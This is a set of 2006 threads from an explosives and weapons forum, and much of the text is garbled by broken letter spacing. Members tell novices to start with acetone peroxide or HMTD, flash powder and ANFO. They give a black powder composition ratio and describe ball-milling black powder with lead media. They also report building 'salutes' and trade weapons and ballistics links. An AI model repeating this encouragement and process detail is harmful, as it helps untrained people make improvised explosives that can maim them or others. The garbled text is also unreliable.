Even though interstate commerce may originally have been for in between states, now it just means any sale between anyone. The only things that you can defend against
now have to never have been bought or ever be sold, and made from scratch.
This would also be true for drugs also, except that they have specificly made the point of mirroring most federal laws in the states, even though it is not required.
Greggonzalias June 18th, 2006, 07:31 AM

I've recently found that Queensland government allows explosives for a chemical experiment .
Acts, SL as in force
Explosives Act 1999
Reprint 2B
Amendments included 2004 Act No. 4
Effective 6 May 2004
http://www.legislation.qld.gov.au/LEGISLTN/SUPERSED/E/ExplosivesA99_02B_040506.pdf
Part 4, Division 4 38 Explosive to be manufactured under authority
(1) A person must not manufacture an explosive unless the person holds
an authority that authorises the person to manufacture the explosive.
Maximum penalty400 penalty units or 6 months imprisonment.
(2) Subsection (1) does not prevent a person

(a) manufacturing, not more than 500 g of an explosive, or a smaller
amount prescribed under a regulation, under direct adult
supervision, for use by the person manufacturing it in a chemical
experiment; or
(b) reconditioning an explosive at a government magazine or under
an inspectors supervision; or
(c) if the person is licensed or otherwise authorised to use a weapon
under the Weapons Act 1990filling ammunition for the weapon
for use by the person.
(3) Also, subsection (1) does not prevent the holder of an authority to use
an explosive manufacturing an explosive prescribed under a regulation for
this section (a prescribed explosive), by a manual operation performed
under conditions prescribed under a regulation, for the holders immediate
use.
(4) In addition, subsection (1) does not prevent an inspector

manufacturing a prescribed explosive, by a manual operation performed
under conditions prescribed under a regulation, for the inspectors
immediate use.
NBK's right no spoon feeding, but it is nice to help:)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Dexiglue review
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View Full Version : Dexiglue review

T h e d e x i g l u e s o l u t i o n i s c l a i m e d t o b e i n v e n t e d b y a F o r u m ite called THErAPIST o n his website www.experi-m ental.org. I have
no knowledge of anyone else giving a worthy claim. Tutorial page:http://experi-m e n t a l . o r g / d . p h p ? p = d e x i g l u e
On the dexiglue tutorial page it says the amounts aren't critical. I will use the suggested form ula of 50% hot water, 30% glue,
a n d 2 0 % d e x t r i n . W h e n m ixed it looks close to a clear honey. A small paintbrush should m ake applying it very easy.
I will be posting its effectiveness in m aking tub es for salutes shortly.

I m ade a few sm all salutes with tubes rolled with dexiglue. It worked rather well. It didn't m a k e t h e t u b e s a s b e n d - r e s i s t e n t a s
I had hoped, but the white glue was a cheap off brand that had sm all lumps in it anyway.
The report was a chest-thumping, sharp bang. I was standing approximitley 10 feet away from the salute. I was overall
plea s e d .
T h e o n l y s u g gestions I have are instead of using a tall round jar like they did, I would use a short elongated glad b owl or
s o m ething to that shape. A fo rk works much better to m ix everything together than a stirring rod.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > R ather esoteric handgun
question
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View Full Version : Rather esoteric handgun question
Toptomcat June 14th, 2006, 08:51 PM

I'm writing som e science fiction that involves a threat to hum anity from entities with reflex es sufficient to dodge norm al bullets.
T h i s s e e m e d l i k e a g o o d p l a c e t o a s k - c a n t h e f o r u m m embers here help me find a handgun cartridge with extrem ely high
m uzzle velocity, without regua rd to rou nd weight? This would seem an ideal weapon for the opposition, and would help m e
trem e n d o u s l y .
Also including a typical pistol capable of chambering and firing the cartrid ge would be appreciated.
nbk2000 June 15th, 2006, 12:10 AM

Go to the weapons board, /k/, at www.4chan.org and ask them as well.
Third_Rail June 15th, 2006, 12:25 AM

A g e n t l e m a n I k n o w h a s m a d e a m uzzleloading revolve r that sends copper projectiles at well over 2500 FPS.
The very sam e g e n t l e m a n c o n v e r t e d a CZ-52 to fire epoxy-cored thick copper jacketed round nosed bullets, with a sm all
ceram ic epoxy cap at well over 3250 FPS. The bullets fragm ent violently in flesh/water, but pierce hard m aterials easily.
I hope this h elps.

W ould an FN Five-seveN at 1,900 fps be too slow? More than twice the ve locity of the 1911 .45ACP service round- 20 round
m a g a z i n e a n d b a r e l y k i c k s h a rder that a .22
If you really need the extrem e edge of velocity, you m ay have to m ove up to a rifle platform such as the Steyr ACR firing
flechettes at 4750 fps http://world.gun s . r u / a s s a u l t / a s 5 6 - e . h t m

Don't forget, they would have to see anything that moved faster than the local sp eed of sound, rather than hear it coming, so
could be shot in the back or distracted and shot. Or glue the floor.
Sausagemit June 22nd, 2006, 05:03 AM

I know .22 hornet's travel at very high speeds (2500-3200 ft/s). And you r more likely to d ie from a .22 than a larger caliber
r o u n d b e c a u s e t h e . 2 2 w i l l b o u n c e o f f b o n e s a n d s k i n a n d m a k e it look like som ebody took you apart, cut you up a nd sewed
y o u b a c k u p . A l t h o u g h I s o m ewhat doubt that a .22 hornet would stay intact if it ran into something made almost entirely out
of water. But still you would have tons of fragments floa ting around in som e o n e s b o d y d o i n g a l l s o rts of dam a g e .
And check out this link for a .22 hornet handgu n.
.22 hornet handgun (http://www.magnum research.com /news_detail.asp?story=shoottimes04.asp)
Jacks Complete June 23rd, 2006, 04:37 PM

I bet that the MV of the Hornet round is lower from a handgun than a rifle.
I watched that awful film "Equilibrium " the other day, an d was overwhelmed by the stupidity of it. The conce pt of the "Gun-Ka"
(Gun Kata) was good, but the obvious answer to someone like that, were it possible, would be a tripwire and a claym o r e ( o f
either type). This would, of course be the answer to your fast m oving aliens. As would a shotgun with birdshot and a n o p e n
choke.
Don't forget, also, that you have issues with the mass being accelerated too fast. They will need to be powerful crea tures. I
would go with them being nearly 2D, so they dodge by turning side-on, o r pivoting on a fo ot. If they were m ade to jum p o n a
pit with a thin cover, they would punch down through the floor at a rate of knots.
It's a great idea, I hope you post a link to the finished story once you have it written.
Sausagemit June 24th, 2006, 10:28 PM

I bet that the MV of the Hornet round is lower from a handgun than a rifle.
I've been looking for a MV of a .22 hornet handgun but I can't find it anywhere. All the websites I use for m uzzle velocity
only list it f or a bolt action rifle which is the ide al way to fire a round to obtain m a x m uzz le velocity. That s wh y I listed such a
wide range of muzzle velocitie s because it is probably m ost likely down there at the bottom but it m ight be close to the top.
Here's what you need !!!
Fully Auto Sh otgun (h ttp://midam ericarecreation.com/aa12_videos.htm )
Or m abye this.
410 gauge handgun (http://www.taurususa.com /products/product-details.cfm ?model=4410TKR-2SS&category=Revolver)
Or m a y b e o n e o f t h e s e ! !
P90 SMG (http://www.fnhusa.com /contents/tw_p90.htm )
Extrem ely fast fire rate, not m uch bigg er than a handgun, and it has a really high confirmed muzzle velocity (2300fps).

That full auto shotgun is nice. I need that! The girl is ra ther nice , too. C heck out the pile of em pty shells on her right, there's
got to be a few hundred cases there!
Further thoughts: A silenced p istol or low powered m o u s e l o a d m i g h t n o t s o u n d e n o u g h l i k e a g u n s h o t f o r t h e m t o h e a r i t a n d

react. They would need to be a bit arm oured so that birdshot wasn't the easy answer, and don't forget that speeds like
lightning require an e qual and opposite reaction, so the y would suffer if on ice or mud.
EOD July 8th, 200 6, 03:13 PM

If you don't care about bullet weight lo o k a t t h e . 1 7 H M R a n d r e l a t e d b u l l e t s . T h e y a r e s m all but have a very high velocity.
Docca July 18th, 20 06, 07:5 6 AM

a handgun cartridge with extremely high m uzzle velocity, without reguard to round weight?
The weight of the projectile will always directly affect velocity (all other factors rem a i n i n g e q u a l ) .
Lighter projectiles will result in higher muzzle velocities, and will normally require a heavier powder charge for optim u m
performance.
Heavier projectiles will result in lower m uzzle ve locities, and will norm ally require a lighter powder charge in order to not create
dangerous pressures (i.e. blown gun).

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Introduction and Book Offe ring
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oxbeast June 15th, 2006, 03:26 PM

I figured for m y first posting I would in troduce m yself and offer som ething of value to the forum .
I m a n e x a r m ourer working as an industrial electronics engineer. As such m y interests a r e i n t h e f i e l d s o f g u n s m ithing and

electronic devices.
As a s h o w o f thanks for the interesting literatu r e I h a v e f ound o n t h e f o r u m , h e re is a PDF vers ion of Hatcher s No t e b o o k o n e
of the classic books in the field of ballistics.
Rapidshare Link (http://rapidshare.de/files/23143276/HNoteb.rar.html)
Password: roguesci
I a p ologise in advance for t h e s i z e o f t h e t h i n g . I t s 7 3 . 7 M b l a r g e .

I d i d n t scan it m y s e l f b u t o b t a i n e d it som e y e a r s b a ck f rom a h a r d d rive I wa s salvaging.
A se a r c h o n t h e f o r u m didn t turn it up a nywhere previously, s o I hope it will be of u s e .

T h a n k s , I ' d b e e n t h i n k i n g a b o u t p i c k i n g u p a h ard copy.
darkdontay June 21st, 2006, 09:35 AM

good way to start off. Posting som ething of value to the fourm , a n d s e a r c h i n g b e f o r e h a n d . T h a n k s , n i c e b o o k

T h a n k s , I h a ve been looking for a soft copy of this book for quite a while as my hard copy is falling apart and sm e l l s k i n d a
funny. I think a friend spilled som ething on it and didn't tell me.
And you should check out m y "Engineers Library" torrents over at the roguesci torrent site as I believe you will find something
usefull in there. Now those are som e large files, 9.15GB total!!!
ozboy June 26th, 2006, 06:52 AM

Thought I would say thanks too.
Bugger June 27th, 2006, 07:21 AM

D e a r S a u s a g e m it: Thanks for uploading two very large archives of your "Engineers Library" on the Torrent system totaling 9.15
Gb; but, being over 4 Gb each, the complete archives cannot be stored (beyond 4 Gb each) on hard drives formatte d with the
FAT32 file system, which can store only files up to 4 Gb each. Th is is rath er inconvenient for those running operating systems,
such as Windows Me or 98, which can access only FAT32 partitions and cannot access drive partitions having other file system s
such as NTFS. It is therefore somewhat unfortunate that your collection was not divided into 3 archives of about 3.05 Gb each.
Sausagemit July 2nd, 2006, 03:11 PM

But they are not one file, they are a whole bunch of files under one directory. The y are not in a .rar/.zip/.tar.gz. So I don't see
where this should be a problem for people running FAT32 or eve n FAT16.
++++++
Use I, not i.
Oh, and proper capitalization of abbreviations, like FAT32, not fat32.
NBK

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Beginner explosives
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arlentine June 16th, 2006, 12:56 AM

Ever since I was a child, I enjoyed taking stuff apart to see how it worked, and got my fair share of injuries from it, too. But my new fascination is chemistry and explosives ( I
have been watching too many Mythbusters episodes.)
GOD
I reasearched the entire Anarchists cookbook, but found it pretty vague and unbelievable. Now that it is summer, I have alot more free time to spend on my studies and
projects.
DAMN
Anyways, to the point. I am wondering if anyone out there had any ideas for some simple projects I can work on? I've tried making some butane bombs and matchhead
bombs without any luck. Ie made some gelled gas cubes, but I am still very inexperienced at this.
IT!
I am sorry if this is considered leeching, but I think this thread could help out other beginners trying to work their way up to stuff like CANFO. To do something that large takes
experience and hard work and study. This could help jumpstart some people, like me.
USE
Thank you!
PARAGRAPH
PS: No long FAcHOANA* equations without explaining what it all means, and how to make it easily.
BREAKS!
PPS: If I am being a complete retard in any way, please inform me. If not, I'll never learn.
NBK2000
*Not a real equation.
Skean Dhu June 16th, 2006, 03:17 AM

I would suggest looking into black powder, H3, flash powder, and then if you still have all of your fingers the giant AP(Acetone peroxide) thread . All you need to know on
these topics can be located through the wonderful search function installed in the mesage board software.
aikon June 16th, 2006, 03:33 AM

First: Burn the Anarchist Cookbook and throw the ashes into the wind.
Second: get a good chemistry book.
Third: A good introduction to the topic is "The Chemistry Of Powders And Explosives" by Tenney L. Davis.
The book is floating around on the net.
Fourth: Don't perform any experiments you don't understand!
To your question:
Most people started with the production of Acetone Peroxide.
That's all i say about that stuff. Search the forum and you'll be
busy the next few days.
SAFETY FIRST!
EDIT:
I'm in good mood this morning, so here's the link to the book mentioned above:
http://www.sciencemadness.org/library/books/the_chemistry_of_powder_and_explosives.pdf
TheAdversary911 June 16th, 2006, 03:37 AM

Yep. These forums are pretty much the tome of forbidden knowledge. Just as a tip, some people might not like your use of the word "bomb", since generally a "bomb" is
something meant to destroy persons or property. I suggest the use of the word "device". However, that sensitivity is fairly rare around these forums seeing as how they are
more directed on weaponry and armament.
Chris The Great June 16th, 2006, 04:37 AM

Generally, explosives aren't bombs. This forum does talk about making them into bombs however. Still doesn't mean you have to use them as a bomb.
AP or HMTD seem to be the first explosives most people make these days, since they are just so easy to make. Search around and find some stuff for that. As you look, you'll
pick up a bit here and there and after a while you'll have a good amount of knowledge built up.
Reading COPAE is a great way to start, if you want to get more advanced afterwards the four volumes of The Chemistry and Technology of Explosives are highly
recommended. As well as this forum of course!
FlashBang July 25th, 2006, 10:51 PM

EDIT:
I'm in good mood this morning, so here's the link to the book mentioned above:
http://www.sciencemadness.org/library/books/the_chemistry_of_powder_and_explosives.pdf[/QUOTE]
Thanks for the link. This looks like very good reading. :) Too bad I can't print it and bring it to work to read... People might start to wonder.
+++++++++=
In the future, when using the quote tag, be sure to use the closing tag of /quote, else no-one knows where your quote ends and your reply begins.
NBK
30yearstoolate! August 15th, 2006, 03:24 AM

I too have read the cookbook and it is garbage. I have read other things before and some have been way over my head with chemical equations written out in latin [wtf] they
were written in the 1790's (my former library had a copy). At the other end of the spectrum I have read some books similar to the anarchists cookbook which include no really
useful knowlege of how the expirament is done.
One book that I read as a teenager that had an influence on simple explosives was called Diary of a Pyro google it if needed. It shows some reprocussions of stupid things done
and how they were perormed.
If you are looking to very beginner "explosives" look into oxidizer and sugar recipies. These are mostly used for rocket motors but if manufactured a different way the have the
equivilance of weak blackpowder and can be quite fun for a beginner.
http://www.armory.com/~spcecdt/pyrotech/doap/
Diary of a Pyro
a fun novel in your spare time
PiSing August 19th, 2006, 10:09 PM

OK, so I've read a little, listened alot, and found out there are lots of differant ways to lose fingers / etc, and probably even more ways to do stupid things that newbies do.
So, (asking tenatively, cuz I just re-read 'the rules' ;)
is there a way to meet with somebody in my neck of the woods,
and actually be shown how to make AP, for example?
(hoping I havent inadvertantly committed a 'single strike' offense...)
nbk2000 August 19th, 2006, 10:54 PM

No one here is going to show you how to do it.
To show someone, personally, how to make explosives, is what's know as 'Criminal Conspiracy' and a favorite trick of the FBI for getting easy busts.
I suppose I should ban you for even asking, but I'm feeling generous today. :)
Don't ask again.

OK, fair enough, I didn't know about the 'Criminal Conspiracy' thing, and I very much want to stay under the FBI radar.
After reading this forum for a while, I am very aware of the potential for disaster...
so I want to learn in a safe environment, with experienced teachers.
I just am not sure where to turn.
Perhaps a more appropiate question would be:

How can I safely learn more about the practical aspects of manufacturing specific compounds?
Are there clubs or organizations I can join?
Are there classes?
tomu August 20th, 2006, 05:51 AM

...snip
so I want to learn in a safe environment, with experienced teachers.
I just am not sure where to turn.
...snip
How can I safely learn more about the practical aspects of manufacturing specific compounds?
Are there clubs or organizations I can join?
Are there classes?
Study chemistry or get an education as a lab technican, would be a good start. Otherwise start with a simple chemistry set and learn chemistry and basic lab skills for yourself
with simple chemical experiments and go to more complicated and elaborate things if you master the basics.
There are clubs and seminars for pyrotechnic hobbiests and there are at least one company who offers classes for making your own solid rocket fuel and your own rocket
engines with Ammonium Nitrate in the USA.
And there are numerous good technical books on the subject on pyrotechnic and explosives.
My guess is there will be nobody who will take you by your hand and show you how to make 'k3wl bombz' in your kitchen. And I'm sorry there will be also no 'k3wl bomberz
club' in the area near you.
You have to learn how to walk by your own.
nbk2000 August 20th, 2006, 12:53 PM

I don't think there is anywhere you can go to learn about the manufacture of explosives, outside of an explosives plant or military weapons lab.
So, if you REALLY want to learn how, get excellent grades in school, never get arrested for ANYTHING, get a masters or PhD in college in chemistry and physics, and then
apply. :)
That's the route Mega is taking. He's on step 3 of 4.

good suggestions, but let me give just a little more info...
Study chemistry
I have, and am still learning
or get an education as a lab technican, would be a good start.

I work in a lab.
My guess is there will be nobody who will take you by your hand and show you how to make 'k3wl bombz' in your kitchen.
I have no interest in that sort of childishness.
So, if you REALLY want to learn how, get excellent grades in school,
I have.
never get arrested for ANYTHING,
I haven't.
get a masters or PhD in college in chemistry and physics,

I'm working on it.
And I need to edit a sentence from tomu's reply:

And there are numerous...
...dead people that thought they could learn safely by reading...
good technical books on the subject on pyrotechnic and explosives.
You have to learn how to walk by your own.

Hhhmmm... well, maybe... but I didn't learn to drive a car on my own,
and I didn't learn to handle a gun on my own...
but, I suppose I could try to learn explosives on my own...:rolleyes:
Seriously though, thanks to all for the constructive advice.

If I do find what I'm looking for, with the Admin's permission, I will post that info.
wetpowder August 20th, 2006, 02:29 PM

Sounds like PiSing is looking to lose fingers, a hand or worse.
simply RED August 20th, 2006, 05:19 PM

"So, if you REALLY want to learn how, get excellent grades in school, never get arrested for ANYTHING, get a masters or PhD in college in chemistry and physics, and then
apply."
I'm recently in the last step, but it seems the most difficult :) .
nitriees August 21st, 2006, 03:34 AM

Hhhmmm... well, maybe... but I didn't learn to drive a car on my own,
I do that on my own.
and I didn't learn to handle a gun on my own...

I do that on my own.
but, I suppose I could try to learn explosives on my own...

Off course you can, I make black powder composition successfully on my own 22 years ago without any guidance, the only information I have was
KNO3 75%, S 10% and C 15% from encyclopedia without process and method.
Now you are so lucky that can access to this information and precious process from internet, especially this forum. Good luck for exploration to this
fantastic hobby.
megalomania August 21st, 2006, 01:47 PM

Some people benefit tremendously by reading, but others are visual learners and need to see or do to learn effectively. I can offer you this: If you dont read anything, you
most certainly will be in trouble. One of my favorite jokes is a few hours in the lab can save you an hour in the library. For the dense that is a take on the saying an hour in
the library can save you a few hours in the lab.
There was an excellent article in Scientific American, the current August issue I believe, about learning. I will have to get the article again, but it explained how studies seem to
indicate there is no such quantifiable aspect as being a genius. Rather there is the 10 years rule, which stipulates it takes about 10 years of concerted study to master any
field. They believe musical prodigies like Mozart achieved such marked excellence simply because his father began his musical tutelage at an extremely early age. Apply the
ten year rule to him and you can see how it would appear he was phenomenally superior because he achieved his mastery at such a young age.
There is nothing better than formalized instruction. The autodidact route is more difficult, but there are many people who do it. You are your own best teacher because you can
tailor your own curriculum to suit your strengths and weaknesses.
For obvious reasons, and I hope everyone knows what those obvious reasons are, formal instruction in explosives is hard to acquire. The military is your best bet, mining
engineering companies are the second favorite, and certain research institutions are your third.
TreverSlyFox August 22nd, 2006, 08:58 AM

Might want to check out the University of Missouri at Rolla as they have a big time Mining Engineering section at Rolla. They do teach Mining Explosives there if you'ed like to
be a "Powder Monkey".
PiSing August 23rd, 2006, 01:39 AM

Thank you.
I've heard they have a great program.
But I already have knowledge in the handling, storage, transportation and use of ANFO, Dynamite and C4,
and experience with hard rock mining, shaped charges, metal cutting, etc.
And as a kid, I made rocket fuel and black powder using my chemistry kit.
As I mentioned before, I am very well aware of the potential for disaster when making one's own from a recipe book.
And despite juvenile references about the nuances between "spoon" and "breast",
<edit> Hey! where'd that post go?<edit/>
and cavalier attitudes (accompanied by poor english) like "I do that on my own" (i.e.: learned by myself),
I have no intention of trespassing in those waters without an experienced guide.
When I was learning vertical angle rock climbing, my mentor told me:
"There are OLD climbers, and there are BOLD climbers.
But there ain't any OLD BOLD climbers".
Maybe it's just me... but this field would seem to lend itself to that kind of caution.
Comments?
nbk2000 August 23rd, 2006, 03:10 AM

PiSing is PISSING me off with the attitude.
Asking to meet someone from an internet bulletion board about improvised weaponry for the purpose of showing you how to make explosives, when both parties are unlikely
to be legally empowered to do so, is the height of stupidity.
Either go into the armed services, law-enforcement, mining, or pyrotechnician apprentiship if want to learn it legally, and if you're legally allowed to do so.
Otherwise you're a trap looking for suckers.
Good Bye.
megalomania August 23rd, 2006, 04:45 AM

Do, or do not, there is no try. How much hand holding do you need before you attempt something, jeez. By the way, you don't need to jump right in with making and using
explosives. What is the first thing you do in undergrad chemistry? Its been awhile, but I think it is simple acid base reactions, precipitations, or something like that. You build
from there. Start with firecrackers, blackpowder, move to shells, get better lab skills, then move on to bigger and better things.
The man sounds like he wants to start at the PhD. level without taking chem 101. Tsk tsk.
By the way, who taught the guys at NASA in the 50's how to build space craft? Who taught the astronauts how to walk in space? Who taught Lindenberg how to fly across the
Atlantic? Who taught Kekule about the structure of benzene? No clue? That's because they figured it all out themselves, but only after learning the basics.
ozboy August 23rd, 2006, 06:33 AM

OK, fair enough, I didn't know about the 'Criminal Conspiracy' thing, and I very much want to stay under the FBI radar.
I find it hard to believe that someone as "educated" as yourself, has NO knowledge of 'Criminal Conspiracy'.
You're PISSING ME OFF TOO!
P.S. Smells like BACON to me!
Raffikki August 29th, 2006, 05:07 PM

Try this link:http://www.google.com
Cindor August 29th, 2006, 05:26 PM
Hi
I have seen there is a lot of ways to make ANFO but i dont know how to get ammonium nitrate in its purest form.I use fertilizer that has loads of crap in it.
Can anyone help?
Sure, check out this link:
http://www.roguesci.org/theforum/search.php
Have you learned your lesson Raffikki ? And now trying to inculcate other users? :rolleyes:
ultrabuf August 29th, 2006, 06:39 PM

On the subject of explosives education, I believe the New Mexico Institute of Mining and Technology has several courses about explosives. The ones that I can recall are Intro
to Explosives Engineering, Explosives Engineering, Shockwave Theory, Detonation Theory, and Chemistry of Energetic Materials.
They also have an Energetic Materials Research Center and I think they employ students as interns. I am thinking that this will probably be where I want to go to college,
which won' be for a couple years yet. This is their website if anyone wants to try and find all their classes about energetic materials and whatnot. http://www.nmt.edu/
megalomania August 31st, 2006, 08:59 AM

That, ultrabuf, is where I want to go to grad school. Too bad it is in the desert; I like my lawn green, and my trees without thornes. NMT has the best program I have found for
an explosives centric PhD program. They are affiliated with LANL too.
Skean Dhu August 31st, 2006, 11:30 PM

*sing song fashion* I'm a fed, I'm a fed, I'm a fed, I'm a fed, I'm a fed
You want to learn how to make explosives do you? Then go make some!
Find a simple synthesis( there are many listed in Megas' Chem lab), one that you have or can easily aquire all of the chemicals, and scale it down. As with any dangerous lab
experiment, start small. If you have any basic lab skills about you you will escape with all of your body parts still attatched and some explosives to boot!
Once you have made your explosive, treat it with the respect it deserves, because the second you don't it will bite you in the ass. There is an entire thread(hope it didn't get
lost in the server switch ) devoted to lab mishaps. Read them, Read all you can on the desired explosive so you know the nature of the beast. And here are some explosives
exclusive lab precautions: no foul language within earshot of the product, no dirty looks within ear shot, only handle them when absolutly necessary, and last but not least,
think happy thoughts you wouldn't want to die angry would you?
Raffikki September 3rd, 2006, 03:09 PM

Cindor:
What can I say Im a quick learner!lol:D
SQRLS September 5th, 2006, 05:56 AM

If joining the military isn't your style just talk to someone in the military.
PS. Pissing should be BFL.
I'm in the process of reading as many archives as possible. If newbies would just try the fucking search tool they could find everything they need. Or they could just go to
TOTSE and kill themselves so I don't have to waste my time reading their ignorant pleas for a spoon fed education.
PPS. Does anyone know what NBK does for a job? I'm guessing an obsessive-compulsive English professor. But he does good work.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Affordable Ball Mill
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For the sake of expediency, I'll forgo a proper introduction at this time to share the following "FYI".
www.harborfreight.com, search word "tumbler", has a three lb. capacity mill on sale for $25. It's identical to one on a pyro site priced at $70 or thereabouts.
Spend the money on some BP fixin's or whatever from them instead.
I hope this isn't considered advertising, as I have no affiliation with Harbor at all. And, a thousand pardons if this is old news.
Sausagemit June 23rd, 2006, 05:14 AM

You still need the balls though, as a "tumbler" doesn't come with them. It's still cheaper though to buy the lead balls on your own from someone else.
You can get 100 balls for around $25.00.

You can get 100 balls for around $25.00.
Yep, you sure can. But I'm a cheap SOB from way back.
I researched The Forum here and sites elsewhere for mill media, and found that good results were obtained by using: Egg and round sinkers, musket balls, shotgun buck shot
and nickles, to name a few.
Marbles, ceramic balls, CV joint balls, clad coinage, balls from a "mouse" (wouldn't you need tweezers?), and slingshot ammo were all mentioned and rejected.
My local gun shop sells 25, 50 cal. (1/2 in.) musket balls- 13 oz.- for $2 a pack ($2.46/lb.). The mill only holds 3 lbs., remember, 100 balls from United weighs 3.25 lbs., and
at $25 plus $6.95 S&H, is $9.83/ lb!
Lead, esp. hardened, seems to be the media of preference. Chromed steel should be OK for inert comps. Glass and ceramic are too light and glass can chip.
The mill I wrote about really is a decent unit. Came with an extra belt, good warranty, thick rubber barrel and has a built in cooling fan.
Sausagemit, what do you use or plan on using?

I plan on making my own mill because I have an old tablesaw motor just lying out in my garage begging to be used for something. I just need to pick up some belts, some
PVC pipe, and some bearings. When it's all said and done I figure the price should be right around $10-15 for a 5-7lb mill with everything but the balls.
Since I am going to save quite a bit on the mill I was considering going ritzy on the balls and getting some hardened Lead-Antimony balls rather than straight lead balls (.45
caliber) which I currently use in my 1/2 lb rock tumbler turned ball mill, as I heard they chrush to a finer grain and are easier to clean (not that the straight lead ones are hard
to clean either).
Mabye I should do a test, take some BP from an earlier batch that I made, put it in my 1/2 lb mill with some Lead-Antimony balls and do a speed test.

Cobalt as you said it is identical to the one United Nuclear sales. So don't you think it is obvious that it could run with that amount of weight? I use 100 .50 caliber lead shot for
muzzle loading. Then I run 200 grams of black powder for about 8 hours (all night). The only thing you'll find about that much weight is that it only has a hard time getting
started and runs a little slower than normal. So just push it in the right direction and it is good to go. I have used that for a while now, but will be moving up soon. But it is
great. Oh and with extra weight make sure the lid is on the side away from the motor, for some reason it snags up the other way.

Cobalt as you said it is identical to the one United Nuclear sales. So don't you think it is obvious that it could run with that amount of weight?- Quote from deadman
Well, yea and no. They advertise their mill as having a "full three pound capacity". The weight of 100 hardened lead balls is right at three pounds- pure lead would weigh 3.25
pounds, more or less- so no capacity for anything else w/o exceeding three pounds.
This isn't to say that you can't get good results with the full 100 balls plus the millage, it is to say that you've exceeded three pounds.
What I've found, is that weight not withstanding, over filling the drum makes the milling operation inefficient. With one pound of BP and two pounds of 1/2" lead balls, I had
reached both the weight and bulk capacity of the mill. Instead, I kept the total weight at three pounds- 1/2 pound BP to 2 1/2 pounds of media and got good results.
For peace of mind, I soldered into the motor line a temperature overload switch pirated from an old coffee maker.
When it's all said and done I figure the price should be right around $10-15 for a 5-7lb mill with everything but the balls.- Quote from Sausagemit
Sounds like a plan. I couldn't make the figures work for me to assemble one myself. When I ordered mine, it was on sale (Harbor Freight sends out emails to anyone who asks
with the sales), but even so, it hurt to pay for something that I should've made myself.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > The Sheeple have Bleated!
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nbk2000 June 16th, 2006, 06:21 PM

Anyone who's tried downloading m y PDF, by following the link in my signature, in the last couple of weeks may have noticed
that it's not working.
Found out why:
http://forums.hostrocket.com /showthread.php?t=18199
The sheeple have spoken!
Baaaad! Baaaaaad!
I s e n t i n a t i c k e t a n d m a d e t h em aware of this post. This way the situation gets taken care of before little kids follow the link.
Ah...the m ating call o f the fea rful sheep..."For the children!" :rolleyes:
About 2 years too late there studly! :p
I don't know where th is person was getting his information, but I've neve r b e e n h o s t e d o n Zoom , nor was I kicked off of
5 0 m e g s . c o m (they went pay-only, and I wasn't paying).
Any kid who found it would be getting his eyes opened up, rathe r than closed.
Interestingly enough, about the time some sheeple was getting it pulled down, a aryan was uploading it at stormfro nt!
And it's already on the FTP, E-donkey, Kazaa, Lim ewire, Torrent, etc. etc.

I find it funny. They just have no idea. If you were kicked off one free host a wee k, with the millions of free hosts around, you
would still be very old before they got even halfway down the list.
GibboNet June 26th, 2006, 11:50 PM

I uploaded it there probably m ore than 2 years ago, so it's lasted a lot longer than anyone would have expected anyway.
If it's necessary I can r e - u p l o a d t h a t a n d s o m e other stuff... I'm on paid hosting now.
nbk2000 June 27th, 2006, 02:29 AM

I was quite surprised that it lasted that long as well. Most files hosted on geo-shittiy-type sites get yanked within days, if even
that long.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Hello -- New to the Forum
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Knoxville June 23rd, 2006, 12:35 PM

I have been looking for a forum like this for about a year now. There is SUCH a vast amount of inform ation here, I don't even
know where to begin. Are there any veterans out there that wouldn't mind pointing me in the right direction? A friend of mine
h a s m a s t e r e d t h e f l a s h p o w d e r . H e h a s s e t o f f u p t o 1 0 0 0 g a t o n c e . H e w a s a s k e d t o e r a d i c a t e a b e a v e r d a m problem a n d
flash powder was the solution. It worked wonders!
Now that sam e f r i e n d h a s b e c o m e interested in plastic explosive s. What is a relatively easy beginner combination to research.
T h a t s a m e f r i e n d h a s a l s o b e e n i n t e r e s t e d i n A m m onianitrate + diesel, but that will easily be searched for. Any advice would
be appreciated. The explosives are always used safely and discretely as possible. Thanks!
NO self-signing of posts!
NO introductions saying "Hi, I'm a n00b here!", as if we can't see your Join Date and post count in every po st you m a k e a n d
tell that for ourselves. :rolleyes: )
At least you put together a coherent post in the right se ction...your saving grace for the m o m e n t .
Follow the advice others have given you and yo u'll last.
Bert June 23rd, 2006, 02:37 PM

First piece of advice: R ead the "unwritten rules, written down" above- http://www.roguesci.org/thefo rum /water-cooler/2774-
newbies-forum s-unwritten-rules-written -down.html
Then stop signing your posts.
Then do a lot of reading, as in UTFSE. What you ask for is here, but you will not be spoon fed it. Ask specific questions after
y o u h a v e l e a rned some of the background to your interests. If you're not sm art enough to dig out that info on your own,
you're not likely sm art enough to survive experim ents with energetic m aterials.
Keep your posts to th e water cooler until you either have an experim ent to report on or at least can ask a question directly to a
poin t.
Lastly, your friend... Is known as "som eone who is not m e" arou nd here, AKA SWIM.
Jacks Complete June 23rd, 2006, 08:27 PM

W elcome!
I kind of like your first post style. Please do read the "Unwritten rules", a nd be sure to take a look at the "BFL" section, to see
why so m any who com e h e r e l e a v e s o f a s t . Y o u s e e m fairly smart, so take note of the m istakes that NBK feeds upon.
Knoxville June 24th, 2006, 11:43 AM

I have starte d reading the unwritten ru les and have found the search button as well. I can probably spend a few days reading
before I'll po st anything else. I'll learn the ways of this website and I will be a respected m e m ber one day, but that is way way
down the roa d.

You can read and write intellig ible English. You're off to an excellent start-

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Inert Atmosphere
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Nails June 26th, 2006, 11:20 PM

I'm performing a chemical reaction involving LAH, and require a method to perform it in an inert atmosphere outside of a full chem lab. Can anyone help me with a link to a
commercial inert atmosphere chamber or a method to create one?
Much appreciated
Alexires June 27th, 2006, 12:11 PM

Depends how much cash you have and a few other things.
You could build your own chamber capable of reduced pressure, then vaccuum it and fill it with nitrogen, vaccuum it again, fill with nitrogen, then vaccuum it again and fill it
with nitrogen.
Or, if you can't do that, just pump nitrogen into your reaction vessel. Hopefully, it will expell all the air, and you'll have an unreactive environment (for as long as your nitrogen
lasts)
Otherwise
http://www.inorganic-chemistry.net/kmpages/inert.html
http://www.ilpi.com/inorganic/glassware/glovebox.html
